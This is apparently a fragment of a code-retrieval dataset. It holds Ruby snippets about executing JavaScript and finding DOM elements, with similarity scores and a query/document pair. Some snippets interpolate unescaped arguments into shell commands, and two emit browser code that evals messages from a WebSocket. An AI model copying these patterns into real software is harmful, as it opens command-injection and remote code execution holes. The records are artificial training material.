"def evaluate(template, locals = {}, options = {})\n require \"execjs\"\n context = ExecJS.compile(\"var evaluate = #{compile(template, options)}\")\n context.call(\"evaluate\", locals)\n end",
"def script; end",
"def script; end",
"def show\n headers['Content-Type'] = \"application/javascript\"\n path = normalize_path(params[:js_path])\n p path\n return head(:forbidden) unless can_render_path?(path)\n compiled = Barista.compile_file!(path)\n compiled.nil? ? head(:not_found) : render(:text => compiled.to_s)\n end",
"def xhr_script; end",
"def handle_java_script_dialog(accept:, prompt_text: nil)\n {\n method: \"Page.handleJavaScriptDialog\",\n params: { accept: accept, promptText: prompt_text }.compact\n }\n end",
"def html_output_for(script_url, code)\n code = CGI.escapeHTML code\n <<-HTML\n <div><script src='#{script_url}'></script>\n <noscript><pre><code>#{code}</code></pre></noscript></div>\n HTML\n end",
"def run\n Tapyrus::ScriptInterpreter.eval(Tapyrus::Script.new, self.dup)\n end",
"def run(script, *args)\n string_args = args.join(\" \")\n executable = Phantomjs.executable_path\n \n #STDERR.puts \"running with #{executable}\"\n \n if block_given?\n IO.popen(\"#{executable} #{script} #{string_args}\").each_line do |line|\n yield line\n end\n else\n `#{executable} #{script} #{string_args}`\n end\n end",
"def web_browser_block_java_script\n return @web_browser_block_java_script\n end",
"def call_js(pattern, &block)\n return CallJS.new(pattern, self, &block)\n end",
"def content_as_js_var(varname,value=nil,&block)\r\n return \"<script>#{varname}='#{escape_javascript(value)}';</script>\" unless block_given?\r\n concat(\"<script>#{varname}='#{escape_javascript(capture(&block))}';</script>\",block.binding)\r\n end",
"def script(key, *args)\n return true unless respond_to?(\"script_#{key}\")\n\n eval(self.public_send(\"script_#{key}\"))\n end",
"def call\n eval(@code)\n end",
"def path_to_javascript(source, options = T.unsafe(nil)); end",
"def add_script_to_evaluate_on_load(script_source:)\n {\n method: \"Page.addScriptToEvaluateOnLoad\",\n params: { scriptSource: script_source }.compact\n }\n end",
"def javascript(*sources)\n options = sources.extract_options!.symbolize_keys\n options.reverse_merge!(type: 'text/javascript')\n sources.collect do |source|\n content_tag(:script, nil, options.reverse_merge(src: asset_path(source, :js)))\n end.join(\"\\n\")\n end",
"def execute(script, *args)\n script = \"#{File.join(@root, script)}.js\"\n raise \"JXA script not found: #{script}\" unless File.exist?(script)\n\n script = Shellwords.escape(script)\n args = args.map { |arg| Shellwords.escape(arg) }\n command = ([script] + args).join(' ')\n json = `#{command}`\n raise \"JXA script execution failed: '#{command}'\" unless $CHILD_STATUS == 0\n\n JSON.parse(json)\n end",
"def fire_event_js( locator, event, ret: false, wait: 0.1 )\n r = javascript.run <<-EOJS\n var element = document.querySelector( #{locator.css.inspect} );\n var event = document.createEvent( \"Events\" );\n\n event.initEvent( \"#{event}\", true, true );\n\n event.view = window;\n event.altKey = false;\n event.ctrlKey = false;\n event.shiftKey = false;\n event.metaKey = false;\n event.keyCode = 0;\n event.charCode = 'a';\n\n #{'return' if ret} element.dispatchEvent( event );\n EOJS\n\n sleep wait\n r\n end",
"def script_tag(url)\n \"<script src=\\\"#{url.to_s}\\\" type=\\\"text/javascript\\\"></script>\".html_safe # FIXME style\n end",
"def javascript_doc_ready(&block)\n content = capture(&block)\n javascript_tag(\"$(document).ready(function(){#{content}});\")\n end",
"def add_to_js_queue(type, *args) # This shouldn't worry about blocks. #add_or_print_scripts feeds a capture(&block)\n append_javascripts(type, args.flatten) # this method already returns nil.\n end",
"def compile()\n self._compiled = <<\"JAVASCRIPT\"\n(function(repl) {\n try {\n var rc;\n #{code.join(' ')}\n repl.rc_ok(rc);\n } catch(e) {\n repl.rc_fail(e.name, e.message ? e.message : e);\n };\n})(#{replid});\nJAVASCRIPT\n self._code = []\n end",
"def execute_JS(operand)\n\t\tjump_conditionally_to_signed_displacement(operand, @flags.value[SIGN_FLAG] == 1) # Non-zero means set\n\tend",
"def render_deferred_javascript_tags\n # First write the onload inline javascripts\n js_code = ''\n js_code << render_deferred_javascript_files\n js_code << render_inline_javascripts\n js_code << render_inline_on_load_javascripts\n js_code\n end",
"def click_by_script(element_click)\n\t p(\"-- execute_script clicking on element: \" + element_click.to_s)\n\t @selenium.execute_script(\"document.getElementById('#{element_click}').click();\");\n end",
"def render_inline_javascripts\n #write out any inline javascript\n return '' if @content_for_inline_javascripts.blank?\n js_code = \"\\n<!-- Inline Javascripts -->\\n#{@content_for_inline_javascripts}\"\n end",
"def condition_handler_js\n # what is our current value?\n js = <<-JS\n response = $F('#{dom_id(self)}')\n JS\n \n # use response to trigger pages and elements that are dependent on this question\n self.dependents.find(:all) { |d| js = js + d.trigger_js }\n js\n end",
"def javascript()\n\n\"\nvar ws = new WebSocket('ws://127.0.0.1:55000/');\nws.onopen = function() {\n console.log('CONNECT');\n ws.send('subscribe to topic: udr/controller');\n};\nws.onclose = function() {\n console.log('DISCONNECT');\n};\nws.onmessage = function(event) {\n\n var a = event.data.split(/: +/,2);\n console.log(a[1]);\n\n try {\n r = eval(a[1]);\n }\n catch(err) {\n r = err.message;\n }\n\n ws.send('udr/browser: ' + r);\n\n};\n\"\n\n end",
"def javascript()\n\n\"\nvar ws = new WebSocket('ws://127.0.0.1:55000/');\nws.onopen = function() {\n console.log('CONNECT');\n ws.send('subscribe to topic: udr/controller');\n};\nws.onclose = function() {\n console.log('DISCONNECT');\n};\nws.onmessage = function(event) {\n\n var a = event.data.split(/: +/,2);\n console.log(a[1]);\n\n try {\n r = eval(a[1]);\n }\n catch(err) {\n r = err.message;\n }\n\n ws.send('udr/browser: ' + r);\n\n};\n\"\n\n end",
"def javascripts(*filters)\n query(\"script\", \"src\", *filters)\n end",
"def google_load_template_script(method_name, javascript_callback, uri, content_id)\n included_name = \"@#{method_name}_included\"\n return '' if instance_variable_get(included_name) rescue false\n instance_variable_set(included_name, true)\n %Q{<script type=\"text/javascript\">\n function #{method_name}(uri, content_id, number_of_items){\n jQuery('#' + content_id).html('');\n var feed = new google.feeds.Feed(uri);\n feed.setNumEntries(number_of_items);\n feed.load(function(result) {\n if (!result.error) {\n jQuery.each(result.feed.entries, function(i,item){\n #{yield}\n #{javascript_callback}('#{uri}', '#{content_id}');\n });\n } \n if (result.error || result.feed.entries.length <= 0) {\n jQuery('#' + content_id).append('<div class=\"hentry\">#{t('overlord.no_entries_found')}</div>');\n }\n });\n }\n </script>}.html_safe\n end",
"def script(src)\n if src =~ /\\s/\n %(<script type='text/javascript'>#{src}</script>)\n else\n src = \"/js/#{src}.js\" unless src =~ /\\.js$/\n timestamp! src\n %(<script type='text/javascript' src='#{src}'></script>)\n end\n end",
"def ms_check the_script\n @js = \"var switchHappened = checkMenuScreenForFunction();\" \n @js += \"if(switchHappened) {timeout = 100;} else {timeout = 0;}\"\n @js += \"setTimeout(function() {#{the_script}}, timeout);\"\n return @js\n end"
] | [
"0.74986565",
"0.71592474",
"0.7064215",
"0.7051076",
"0.6906406",
"0.67509776",
"0.66380864",
"0.6637981",
"0.6626376",
"0.6605366",
"0.658144",
"0.64053416",
"0.63955986",
"0.63835084",
"0.6375848",
"0.6234883",
"0.6233394",
"0.6199132",
"0.6199107",
"0.61919606",
"0.6177336",
"0.61680245",
"0.6122589",
"0.6075815",
"0.60640574",
"0.60507613",
"0.60321885",
"0.60134447",
"0.60055625",
"0.5963088",
"0.5911888",
"0.59094614",
"0.5898917",
"0.5898164",
"0.5838692",
"0.58269244",
"0.5806071",
"0.58003944",
"0.5791034",
"0.5786197",
"0.5786197",
"0.57800865",
"0.5773111",
"0.576832",
"0.5756451",
"0.5756451",
"0.57536817",
"0.5717941",
"0.57139975",
"0.5713068",
"0.57067764",
"0.56972504",
"0.5665248",
"0.5662621",
"0.56611574",
"0.5657709",
"0.56539845",
"0.56300443",
"0.5629703",
"0.56274074",
"0.56254625",
"0.56175023",
"0.5613783",
"0.56094676",
"0.560231",
"0.5596932",
"0.5588326",
"0.55837685",
"0.55837685",
"0.5578324",
"0.55702525",
"0.5565511",
"0.55529803",
"0.5550985",
"0.5547949",
"0.5543795",
"0.5541816",
"0.5524965",
"0.55226606",
"0.5518647",
"0.55119",
"0.5508165",
"0.55055624",
"0.54979336",
"0.54888994",
"0.54828215",
"0.54779613",
"0.54733306",
"0.54579717",
"0.5450073",
"0.54459363",
"0.5440609",
"0.5439767",
"0.5435007",
"0.5433863",
"0.5433863",
"0.5428345",
"0.542568",
"0.54180706",
"0.5409858"
] | 0.57812625 | 41 |
Execute an asynchronous piece of JavaScript in the context of the currently selected frame or window. Unlike executing execute_script (synchronous JavaScript), scripts executed with this method must explicitly signal they are finished by invoking the provided callback. This callback is always injected into the executed function as the last argument. | def execute_async_script(script, *args)
bridge.execute_async_script(script, *args)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def execute_callback(callback, *args)\n callback.call(*args) if callback\n end",
"def execute_script(script)\n current_frame.executeJavaScript(script)\n nil\n end",
"def execute(callback)\n unlock(:server)\n\n runtime_lock.execute(callback) do\n yield\n end\n end",
"def execute_async_script(script, *args); end",
"def execute_callback(callback, *args)\n (callback.arity == 2 ? callback.call(*args[0, 2]) : callback.call(*args)) if callback\n end",
"def execute(callback)\n callback.call if unlock(:server)\n yield\n end",
"def execute(context)\n signal_done( @callback.uuid, context)\n #puts \"#{@callback.uuid} -- called #{self.class}.execute(#{context.class}.#{context})\"\n end",
"def evaluate_script(script)\n current_frame.executeJavaScript(script).getJavaScriptResult\n end",
"def invoke_callback(callback)\n return unless callback\n if callback.is_a?(Proc) || callback.is_a?(Method)\n callback.call(self)\n else\n invoke_callback_class_instance(callback)\n end\n end",
"def execute_callbacks(event)\n parent.execute_callbacks(event)\n callbacks.execute(event)\n end",
"def dispatch_script_block( receiver, variables, action, async = true )\n block = proc do\n script_vm = nil\n unless async == true || JSContext.currentContext.nil?\n # reuse the existing VM for synchronous calls\n script_vm = JSContext.currentContext.virtualMachine\n end\n\n script_vm ||= JSVirtualMachine.alloc.init\n script_context = JSContext.alloc.initWithVirtualMachine(script_vm)\n\n if export_variables(variables, script_context)\n # setup fixed globals\n script_context['$'] = JavaScript::Global.new\n script_context['$$'] = self.script_cache\n\n unless receiver.nil?\n # body and level may have slots but no proxy representation\n script_context['$self'] = receiver\n end\n\n script_context.setExceptionHandler(lambda do |context, value|\n lp \"[JavaScriptException]: #{value.toString}\", force_color: :red, log_js: true\n end)\n script_context.evaluateScript(File.read(Dir.resource('js/bootstrap.js')))\n script_context.evaluateScript(action)\n\n purge_variables(variables, script_context)\n end\n lp \"dealloc script_context\"\n script_context = nil\n script_vm = nil\n end.weak!\n\n if async # Qeue async event execution\n Dispatch::Queue.concurrent.async { block.call }\n else\n block.call\n end\n end",
"def callback &block\n @callback = block\n if @callback_args\n @callback.call *@callback_args\n end\n self\n end",
"def async_exec(&block)\n @swt_display.asyncExec do\n execs_in_progress << :async_exec\n begin\n result = block.call\n ensure\n execs_in_progress.pop\n end\n end\n end",
"def setCB(callback)\n @callbackfn = callback\n end",
"def execute_script(script, *args, function_name: nil)\n args.map! do |e|\n e.is_a?(Element) ? e.wait_until(&:exists?).wd : e\n end\n Watir.logger.info \"Executing Script on Browser: #{function_name}\" if function_name\n wrap_elements_in(self, @driver.execute_script(script, *args))\n end",
"def run_successful_script(broker, agent, script, arguments, **kwargs, &block)\n script_request(broker, agent, script, arguments, **kwargs) do |datas|\n ensure_successful(broker, [agent], datas, **kwargs, &block)\n end\nend",
"def execute\n enter_state(STATE_STARTED)\n @fiber = Fiber.current\n begin\n @value = do_execute\n rescue TimeoutError => e\n @exception = e\n rescue StandardError => e\n @exception = e\n end\n @cond.signal\n enter_state(STATE_FINISHED)\n end",
"def wait_for_javascript(timeout = 30)\n wait_for_ajax(timeout)\n wait_for_effects(timeout)\n end",
"def execute script\n native.execute_script script\n end",
"def load_asynchronously(element, url)\n javascript = \"jQuery.get('#{url}', function(data) { jQuery('#{element}').html(data) })\"\n end",
"def yield\n wait\n callback\n end",
"def execute_script(script, *args)\n driver.execute_script(script, *args)\n end",
"def call(*args)\n args.push(*@callback_args)\n @callback_object.send(@callback_id, *args)\n end",
"def async(callback = nil, &block)\n callback ||= block\n handle = Async.new(@loop)\n handle.progress callback if callback\n handle\n end",
"def execute_script(*args)\n raises_error { __getobj__.execute_script(*args) }\n end",
"def execute_script(js)\n object = driver.executeScript(js, [].to_java(:string))\n end",
"def execute_script(script, *args)\n bridge.execute_script(script, *args)\n end",
"def execute_callbacks(event)\n parent.execute_callbacks(event)\n fetch_or_create_callbacks.each do |callback|\n callback.call(event)\n end\n end",
"def js_exec(js, timeout=30)\n print_status \"Running the privileged javascript...\"\n token = \"[[#{Rex::Text.rand_text_alpha(8)}]]\"\n js = js_obfuscate(js)\n session.shell_write(\"#{token}[JAVASCRIPT]#{js}[/JAVASCRIPT]#{token}\")\n session.shell_read_until_token(\"[!JAVASCRIPT]\", 0, timeout)\n end",
"def require_js(*urls, &block)\n # used to use this, but don't want to depend on opal-jquery\n # Element.find(\"head\").append(\"<script src='#{js_filename}' type='text/javascript'></script>\")\n promises = []\n\n opts = urls.last.is_a?(Hash) ? urls.pop : {}\n\n clear_promises = lambda do\n promises.each do |promise|\n promise.resolve(false) unless promise.resolved?\n end\n end\n\n `setTimeout(#{clear_promises}, #{opts[:timeout]} * 1000)` if opts[:timeout]\n\n urls.each do |url|\n promise = Promise.new\n promises << promise\n loaded = lambda do\n promise.resolve(true)\n end\n %x|\n var script = document.createElement( 'script' );\n script.type = 'text/javascript';\n script.src = url;\n script.onload = #{loaded};\n document.body.appendChild(script);\n |\n end\n\n Promise.new.tap do |promise|\n Promise.when(*promises).then do |results|\n block.call results if block\n promise.resolve results\n end\n end\n\nend",
"def on_end(&callback)\n @end_callback = callback\n end",
"def fire\n @callback.call\n end",
"def on_finish=(callback)\n @finish_callback = callback\n end",
"def callback(&block)\n @callbacks << block\n end",
"def run_callbacks(options = T.unsafe(nil), &block); end",
"def perform_callback(callback, **opt)\n job_warn { 'ignoring blank callback' } unless callback\n callback&.cb_schedule(**opt)\n end",
"def execute_javascript(iJS)\n if RailsAjax.config.Enabled\n logger.debug \"[RailsAjax] Add javascript to be executed: #{iJS[0..255]}\"\n if (defined?(@JSToExecute) == nil)\n @JSToExecute = []\n end\n @JSToExecute << iJS\n end\n end",
"def execute\n lock do\n yield\n unlock_with_callback\n callback_safely\n item[JID]\n end\n end",
"def run_with_callbacks(o, &block)\n run_in_context(o) do\n callback :before_load, o, &block\n instance_eval &block if block\n callback :after_loaded, o, &block\n end\n end",
"def invoke_callback_method(proc, *args) # :nodoc:\n proc.call(*args) if proc.is_a?(Proc)\n end",
"def do_work(val)\n callback do\n puts \"did work #{val}\"\n end\n end",
"def callback(&block)\n @callbacks ||= []\n @callbacks << block\n end",
"def call(script, *args)\n r_eval(script.to_s, *args) do |req|\n req.errback do |err|\n fiber.resume nil\n end\n\n req.callback do |msg|\n unless msg\n fiber.resume nil\n next\n end\n root = msg.parameters.first\n if root\n fiber.resume EM::Rserve::R::RtoRuby::Translator.r_to_ruby(root) \n else\n fiber.resume nil\n end\n end\n end\n\n Fiber.yield\n end",
"def invoke_callback(callback, *args)\n klass.send(callback, self, *args) if klass.ancestors.include? ActAsGroup::Callbacks\n end",
"def require_js_sync(url)\n %x|\n var r = new XMLHttpRequest();\n r.open(\"GET\", url, false);\n r.send('');\n window.eval(r.responseText)\n |\n nil\nend",
"def execute_javascript(js_code)\n if RailsAjax.config.enabled?\n logger.debug \"[RailsAjax] Add javascript to be executed: #{js_code[0..255]}\"\n @js_to_execute = [] if (defined?(@js_to_execute) == nil)\n @js_to_execute << js_code\n end\n end",
"def succeed(*args)\n if @callback\n @callback.call(*args)\n else\n @callback_args = args\n end\n end",
"def after_process(callback = nil, &block)\n if block_given?\n @after_process_callbacks << block\n else\n @after_process_callbacks << callback if callback.respond_to?(:call)\n end\n end",
"def event_wait_for finishable\n ScriptActionHandler::HandlerResult::waitFor finishable\n end",
"def google_load_template_script(method_name, javascript_callback, uri, content_id)\n included_name = \"@#{method_name}_included\"\n return '' if instance_variable_get(included_name) rescue false\n instance_variable_set(included_name, true)\n %Q{<script type=\"text/javascript\">\n function #{method_name}(uri, content_id, number_of_items){\n jQuery('#' + content_id).html('');\n var feed = new google.feeds.Feed(uri);\n feed.setNumEntries(number_of_items);\n feed.load(function(result) {\n if (!result.error) {\n jQuery.each(result.feed.entries, function(i,item){\n #{yield}\n #{javascript_callback}('#{uri}', '#{content_id}');\n });\n } \n if (result.error || result.feed.entries.length <= 0) {\n jQuery('#' + content_id).append('<div class=\"hentry\">#{t('overlord.no_entries_found')}</div>');\n }\n });\n }\n </script>}.html_safe\n end",
"def callback_method\n run(\"on\", \"string\", \"callback\")\n end",
"def register_callback(&proc)\n if ready?\n proc.call(sync)\n else\n @callbacks << proc\n end\n end",
"def execute(event, obj)\n state_machine.run_callback event.name, obj do |obj|\n execute_action(event, obj)\n end\n end",
"def exec_script(script_text)\n response = api_post_request('/scriptText', {'script' => script_text}, true)\n response.body\n end",
"def go callback\n loop do\n callback.call receive\n end\n end",
"def execute_async(json_request, &block)\n if json_request.kind_of? Request then\n id, request = json_request.id, json_request\n else\n request = Request.new(json_request)\n id = request.id\n end\n @responses[id] = AsyncResponse.new(id, &block)\n\n logger.debug { request.type == \"connect\" ? \"execute_async: CONNECT [#{id}]\" : \"execute_async: RPC [#{id}]\\n#{request.to_s}\" }\n\n EM.next_tick {\n ws.send(request.to_wire)\n }\n id\n end",
"def callback(&block)\n return yield if closed?\n @callbacks << block\n end",
"def execute_callbacks(name, *args) #:nodoc:\n (callbacks[name.to_s] || []).inject(nil) do |prev_value, callback|\n callback.call(self, *args)\n end\n end",
"def emit_end\n @end_callback.call unless @end_callback.nil?\n end",
"def exec\n # synchronized so that both timestamp is set and being_executed\n # set to true before the possiblity of a timeout management\n # check (see handle_timeout! below)\n @pool_lock.synchronize{\n @thread = Thread.current\n @being_executed = true\n @timestamp = Time.now\n }\n\n @handler.call *@params\n\n # synchronized so as to ensure that a timeout check does not\n # occur until before (in which case thread is killed during\n # the check as one atomic operation) or after (in which case\n # job is marked as completed, and thread is not killed / goes\n # onto pull anther job)\n @pool_lock.synchronize{\n @being_executed = false\n }\n end",
"def register_completion_callback(callback)\n @duty_completion_callback = callback\n end",
"def callback(&blk)\n @blk=blk\n end",
"def eval(js_code)\n full_cmd = @cmd % [escape_js(js_code)]\n `#{full_cmd}`\n end",
"def wait_for_load_and_click_js(element)\n click_element_js(element, Utils.medium_wait)\n end",
"def inline_javascript(*scripts, &block)\n options = scripts.last.is_a?(Hash) ? scripts.pop : {}\n options.stringify_keys!\n options['defer'] ||= 'on_load' if options['on_load']\n\n content = if block_given?\n capture(&block)\n else\n \"#{scripts.join(\"\\n\")}\"\n end\n\n case options['defer'].to_s\n when 'jquery_onload', 'on_load' then\n strip_script_tags!( content ) if content =~ /^\\s*<script/\n content << \"\\n\" unless content =~ /\\n$/\n content_for_with_top :jquery_onload, content, options\n else\n content = javascript_tag_without_defer_options(content, options['html_options']||{}) unless content =~ /^\\s*<script/\n content_for_with_top :inline_javascripts, content, options\n end\n ''\n end",
"def tcl_callback(_client_data, interp, objc, objv)\n cmd, id, *args = tcl_cmd_args(interp, objc, objv)\n id = id.first if id.is_a?(Array)\n\n catch :callback_break do\n catch :callback_continue do\n result = handle_callback(id, *args)\n FFI::Tcl::Interp.new(interp).obj_result = result\n\n return OK\n end\n\n return CONTINUE\n end\n\n return BREAK\n rescue => ex\n FFI::Tcl::Interp.new(interp).obj_result = ex\n return ERROR\n end",
"def execute_script(script, *args); end",
"def execute_script(script, *args)\n args.map! { |item| item.class == Locatine::Element ? item.answer : item }\n response = api_request('/execute/sync', 'Post',\n { script: script, args: args }.to_json).body\n value = JSON.parse(response, max_nesting: false)['value']\n error_present = (value.class == Hash) && value['error']\n raise_script_error(script, args, value) if error_present\n\n value\n end",
"def script\n @script || JavascriptObject.global_script\n end",
"def callback\n self.class.callback\n end",
"def callback\n self.class.callback\n end",
"def finish_exec\n listener.finished_successfully\n end",
"def javascript(*args, &block)\n if args.length > 2\n raise ArgumentError, \"Cannot accept more than two arguments\"\n end\n attributes, value = nil, nil\n arg0 = args[0]\n if arg0.is_a?(Hash)\n attributes = arg0\n else\n value = arg0\n arg1 = args[1]\n if arg1.is_a?(Hash)\n attributes = arg1\n end\n end\n attributes ||= {}\n attributes[:type] = \"text/javascript\"\n open_tag 'script', attributes\n\n # Shouldn't this be a \"cdata\" HtmlPart?\n # (maybe, but the syntax is specific to javascript; it isn't\n # really a generic XML CDATA section. Specifically,\n # ]]> within value is not treated as ending the\n # CDATA section by Firefox2 when parsing text/html,\n # although I guess we could refuse to generate ]]>\n # there, for the benefit of XML/XHTML parsers).\n rawtext \"\\n// <![CDATA[\\n\"\n if block\n instance_eval(&block)\n else\n rawtext value\n end\n rawtext \"\\n// ]]>\\n\"\n\n close_tag 'script'\n rawtext \"\\n\"\n end",
"def javascript(*args, &block)\n if args.length > 2\n raise ArgumentError, \"Cannot accept more than two arguments\"\n end\n attributes, value = nil, nil\n arg0 = args[0]\n if arg0.is_a?(Hash)\n attributes = arg0\n else\n value = arg0\n arg1 = args[1]\n if arg1.is_a?(Hash)\n attributes = arg1\n end\n end\n attributes ||= {}\n attributes[:type] = \"text/javascript\"\n open_tag 'script', attributes\n\n # Shouldn't this be a \"cdata\" HtmlPart?\n # (maybe, but the syntax is specific to javascript; it isn't\n # really a generic XML CDATA section. Specifically,\n # ]]> within value is not treated as ending the\n # CDATA section by Firefox2 when parsing text/html,\n # although I guess we could refuse to generate ]]>\n # there, for the benefit of XML/XHTML parsers).\n rawtext \"\\n// <![CDATA[\\n\"\n if block\n instance_eval(&block)\n else\n rawtext value\n end\n rawtext \"\\n// ]]>\\n\"\n\n close_tag 'script'\n text \"\\n\"\n end",
"def callback_complete(callback, result)\n case callback\n when :validate\n result = result.nil? ? true : result\n evaluate_validity(result)\n when :invalid\n invalid_input\n when :success, :failure\n finalize\n end\n end",
"def process(value)\n callback ? callback.call(value) : value\n end",
"def run_callbacks(index = T.unsafe(nil), &block); end",
"def execute(&block)\n block.call\n puts \"End of block\"\nend",
"def rack_async(env)\n event_machine do\n # return from this Rack endpoint without blocking\n env['async.callback'].call([200, {}, [\"Hey from a ASync Rack app!!!!!!!\"]])\n\n # and it will start a deferred job that will fire in 5 seconds\n EM.add_timer(5) do\n logger.debug \"EMAsyncApp#rack_async: yeehaaa going to DB!!!!!\"\n end\n end\n # returning this signals to the server we are sending an async\n # response\n Rack::Async::RESPONSE\n end",
"def run_callback(cb, message)\n unless cb.nil?\n status_message(message)\n begin\n callback(cb, @run)\n rescue => exception\n failed(exception)\n return false\n end\n end\n\n # no errors\n true\n end",
"def execute(force = false)\n batch = nil\n @mutex.synchronize do\n if force || ready?\n batch = @batch.slice!(0...@size)\n end\n end\n\n if batch && !batch.empty?\n @callback.call(batch)\n end\n end",
"def insert_callback(&block)\n @callbacks << block\n end",
"def wait_for_ajax(&block)\n wait_until do\n page.driver.browser.execute_script(<<-JS)\n return !Ext.Ajax.isLoading();\n JS\n end\n yield\n end",
"def run_async\n @task = Thread.new do\n Thread.stop\n begin\n self.instance_exec(*content_arguments, &content)\n rescue Exception => e\n origin.send(:raise, e)\n raise\n end\n end\n until(@task.stop?)\n sleep(0.01)\n end\n @task\n end",
"def send_http_callback(callback_method)\n send(callback_method, response, extras)\n end",
"def js_call(obj, *args)\n js_apply(obj,args)\n end",
"def cb_schedule(async: true, **opt)\n async = false # TODO: remove when implementing async jobs\n opt[:callback] = callback if callback.present?\n async ? cb_perform_later(**opt) : cb_perform_now(**opt)\n end",
"def action_callback(options)\n # Wait until the calling thread goes to sleep.\n while options[:thread].status == \"run\"\n sleep 0.1\n end\n\n # Run the block.\n if options[:thread].status == \"sleep\"\n # Call the callback.\n options[:block].call\n end\n rescue => e\n Log.exception(e)\n ensure\n # Wake up the thread.\n if options[:thread].status == \"sleep\"\n options[:thread].run\n end\n end",
"def on_finish &b\n @on_finish_cb = b\n end",
"def execEditorScript _obj, _args\n \"_obj execEditorScript _args;\" \n end",
"def javascript_doc_ready(&block)\n content = capture(&block)\n javascript_tag(\"$(document).ready(function(){#{content}});\")\n end",
"def compile_callback(meth, args = {})\n code( js_repl meth, js_json_parms(args) )\n\n self._compiled = <<\"JAVASCRIPT\"\n(function(repl) {\n try {\n #{code.join(' ')}\n } catch(e) {\n repl.rc_fail(e.name, e.message ? e.message : e);\n };\n})(#{replid});\nJAVASCRIPT\n\n self._code = []\n end",
"def db_async(env)\n event_machine do\n # get the DB connection\n pg = EMAsyncApp.conn\n\n # signal to the web server, Thin, that it's HTTP request will be\n # handled asynchronously. It will not block\n env['async.callback'].call([200, {}, [\"Hey from a DB ASync Rack app!!!!!!!\"]])\n\n # Make the non-blocking/async query, returns a EM::Deferrable\n df = pg.execute(query)\n\n # success callback\n df.callback { |result|\n logger.debug \"EMAsyncApp::db_async DB results = #{Array(result).inspect}\"\n }\n\n # error callback\n df.errback {|ex|\n logger.debug \"EMAsyncApp::db_async Exeption = #{ex.inspect}\"\n raise ex\n }\n\n end\n # returning this signals to the server we are sending an async\n # response\n Rack::Async::RESPONSE\n end",
"def on_done(&block)\n if done?\n yield(self)\n else\n @callbacks.push(block)\n end\n end",
"def exec\n exec!.wait\n end",
"def exec\n exec!.wait\n end",
"def progress(callback = nil, &blk)\n @callback = callback || blk\n end",
"def progress(callback = nil, &blk)\n @callback = callback || blk\n end",
"def progress(callback = nil, &blk)\n @callback = callback || blk\n end",
"def eventLoop\n @executor.executeQueuedTasks\n end"
] | [
"0.5917898",
"0.58580285",
"0.5479702",
"0.5419432",
"0.5117172",
"0.50060207",
"0.4985286",
"0.4919477",
"0.47343296",
"0.46283385",
"0.4607438",
"0.45533097",
"0.45455554",
"0.4511543",
"0.44998994",
"0.44507954",
"0.44328284",
"0.44314447",
"0.44156158",
"0.43790162",
"0.4365263",
"0.43522444",
"0.43464935",
"0.43402115",
"0.43387407",
"0.43293467",
"0.43031517",
"0.4301123",
"0.429585",
"0.4270549",
"0.42669532",
"0.42561066",
"0.42447716",
"0.4220463",
"0.4219195",
"0.42107916",
"0.41819555",
"0.41648477",
"0.41572526",
"0.4152315",
"0.41323113",
"0.41168383",
"0.41141325",
"0.40991664",
"0.4077085",
"0.40401846",
"0.4027231",
"0.40238407",
"0.40230826",
"0.3992582",
"0.39877847",
"0.39790463",
"0.3977862",
"0.39691362",
"0.3968597",
"0.39657557",
"0.39645663",
"0.39559248",
"0.3948761",
"0.39463845",
"0.39407015",
"0.3936835",
"0.39353967",
"0.39170754",
"0.39144412",
"0.38941714",
"0.38847393",
"0.38799664",
"0.38796213",
"0.38783056",
"0.38783056",
"0.38774437",
"0.3877124",
"0.38675827",
"0.3855807",
"0.38395676",
"0.3833945",
"0.3833854",
"0.3830707",
"0.38195392",
"0.38084167",
"0.3800567",
"0.38003808",
"0.37909326",
"0.3780866",
"0.3779934",
"0.3779262",
"0.3778531",
"0.37689924",
"0.37671798",
"0.3766682",
"0.37652737",
"0.37525693",
"0.37513578",
"0.3747905",
"0.3747905",
"0.37450227",
"0.37450227",
"0.37450227",
"0.37388396"
] | 0.5777386 | 2 |
Get the first element matching the given selector. If given a String or Symbol, it will be used as the id of the element. | def [](sel)
sel = {id: sel} if sel.is_a?(String) || sel.is_a?(Symbol)
find_element sel
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def find(selector)\n DOM::Element.from_node `#{@el}.querySelector(#{selector}) || Opal.nil`\n end",
"def find(selector)\n value = `#{@el}.querySelector(#{selector}) || false`\n value ? DOM::Element.fromNode(value) : nil\n end",
"def find_first(selector, data)\n data = @data unless data\n results = (data/selector)\n if results and results.first\n results.first.inner_html.strip\n else\n nil\n end\n end",
"def element(selector)\n @doc.at(selector)\n end",
"def find_selector(selector)\n matching_e = nil\n\n all(selector).each do |e|\n if yield e\n matching_e = e\n break\n end\n end\n\n matching_e\n end",
"def get_by(selector)\n\n end",
"def element(selector)\n\t\tHpricot(@response.body).at(selector)\n\tend",
"def at(path_or_selector)\n xpath(path_or_selector).first || css(path_or_selector).first\n end",
"def find_first(selector={}, options={})\n h = options.dup\n h[:limit] = 1\n cursor = find(selector, h)\n cursor.next_object # don't need to explicitly close b/c of limit\n end",
"def find(selector)\n JQ(@j.JS.find(selector))\n end",
"def select(elem, selector)\n case selector\n when :element then elem\n when :inner_text, :inner_html, :outer_html then elem.send(selector)\n when /^@./ then elem[selector[1..-1]]\n when /^\\$[0-9]+$/\n i = selector[1..-1].to_i\n scrape_data(elem, i..i)\n when /^\\$[0-9]+(\\.\\.\\.?[0-9]+)?$/\n m = /\\.\\.\\.?/.match(selector)\n first, last = m.pre_match[1..-1].to_i, m.post_match.to_i\n last -= 1 if m[0] == \"...\"\n scrape_data(elem, first..last)\n else raise \"invalid selector #{selector.inspect} given\"\n end\n end",
"def find! css_selector\n res = find(css_selector)\n raise \"Selector(#{css_selector}) returned no results!\" unless res\n res\n end",
"def query_selector(node_id:, selector:)\n {\n method: \"DOM.querySelector\",\n params: { nodeId: node_id, selector: selector }.compact\n }\n end",
"def query_selector(selector)\n document.query_selector selector\n end",
"def selector\n s = @selectors.pop\n @selectors.unshift s\n s\n end",
"def find_first(*paths)\n xpath(*paths).first\n end",
"def get_element id\n @elements[id.to_s]\n end",
"def get_selector(name)\n doc = Hpricot(response.body)\n Hpricot(doc.search(\"[@id='#{name}']\").to_html)\nend",
